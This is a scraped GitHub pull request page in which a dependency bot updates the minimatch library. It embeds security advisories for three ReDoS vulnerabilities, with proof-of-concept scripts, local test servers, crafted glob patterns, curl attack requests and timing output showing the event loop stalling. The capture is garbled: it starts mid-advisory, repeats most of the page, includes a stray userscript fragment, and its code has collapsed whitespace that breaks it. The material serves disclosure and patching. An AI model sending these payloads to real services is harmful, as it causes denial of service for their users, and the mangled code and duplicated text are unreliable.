node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
